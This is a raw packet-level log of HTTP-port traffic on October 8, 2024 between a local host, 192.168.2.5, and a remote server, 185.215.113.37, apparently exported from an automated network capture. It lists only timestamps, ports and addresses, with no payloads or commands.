Oct 8, 2024 22:32:09.854872942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854895115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854907990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855226040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855237961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855263948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855285883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855349064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855360985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855370998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855391026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855400085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855401993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855412960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855416059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855427980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855438948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855442047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855451107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855464935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855468988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855484009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855496883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855498075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855509996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855520964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855531931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855542898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855545998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855554104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855566025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855570078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855577946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855590105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855591059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855602026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855604887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855618954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855631113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855663061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855753899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855766058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855776072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855787039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855803013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855806112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.855823994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.855843067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.965440035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.970907927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195692062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195708036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195720911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195837975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195851088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195862055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195877075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.195955992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.195955992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.195955992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196001053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196014881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196027040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196039915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196052074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196053982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196064949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196077108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196079969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196091890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196110964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196136951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196147919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196161985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196173906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196186066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196196079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196197033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196209908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196229935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196264029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196413040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196425915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196438074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196449041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196460962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196463108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196474075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196495056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196523905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196553946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196568012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196578979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196590900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196600914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196603060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196619034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196652889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196749926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196763039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196774006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196787119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196798086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196799994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196810961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196822882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196825981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196855068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196886063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196886063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196901083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196932077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196945906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.196957111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196970940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196981907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.196995020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197000980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197007895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197025061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197055101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197227955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197242022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197252989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197266102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197278023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197287083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197299957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197302103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197313070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197324991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197335005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197338104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197350979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197361946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197372913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197376013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197390079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197391987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197402000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197413921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197417021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197446108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197474957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197643995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197657108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197690010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197701931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197706938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197715998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197745085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197771072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197803020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197817087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197828054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197840929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197854996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197855949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197884083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197900057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.197935104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197947025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.197987080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198071003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198085070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198100090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198112965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198120117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198126078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198137045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198142052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198156118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198167086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198172092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198189020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198199987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198216915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198244095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198446989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198460102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198471069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198482990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198494911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198501110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198508978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198523045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198528051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198538065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198550940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198554993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198565006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198565960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198597908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198623896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198829889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198843002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198856115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198868036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198879004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198879957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198892117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198905945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198905945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198919058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198925018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198932886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198945999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198955059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.198960066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.198985100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199007988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199162006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199174881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199186087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199198008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199209929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199219942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199220896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199235916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199248075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199263096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199290037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199429989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199441910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199456930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199470043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199480057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199480057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199495077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199507952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199511051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199522018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.199526072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199558973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.199582100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286465883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286482096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286503077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286514997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286526918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286536932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286540031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286554098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286571980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286614895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286628962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286639929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286653042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286664963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286669970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286679983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286694050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286698103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286709070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286724091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286740065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286748886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286761045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286766052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286772966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286788940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286789894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286812067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286839962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286859989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286871910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286891937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286901951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286904097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286915064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286931992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286962032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.286977053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286988020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.286999941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287012100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287024021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287026882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287051916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287071943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287121058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287133932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287153959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287164927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287166119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287184954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287190914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287220001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287228107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287236929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287244081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287259102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287267923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287271976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287286043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287288904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287306070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287324905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287333965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287349939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287363052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287374020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287399054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287420034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287429094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287441015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287458897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287471056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287471056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287494898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287513018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287570953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287592888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287614107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287616014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287626982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287638903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287642002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287653923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287661076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287669897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287683010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287687063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287697077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287712097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287739992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287803888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287817001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287828922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287842035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287844896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287872076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.287894964 CEST	49704	80	192.168.2.5	185.215.113.37
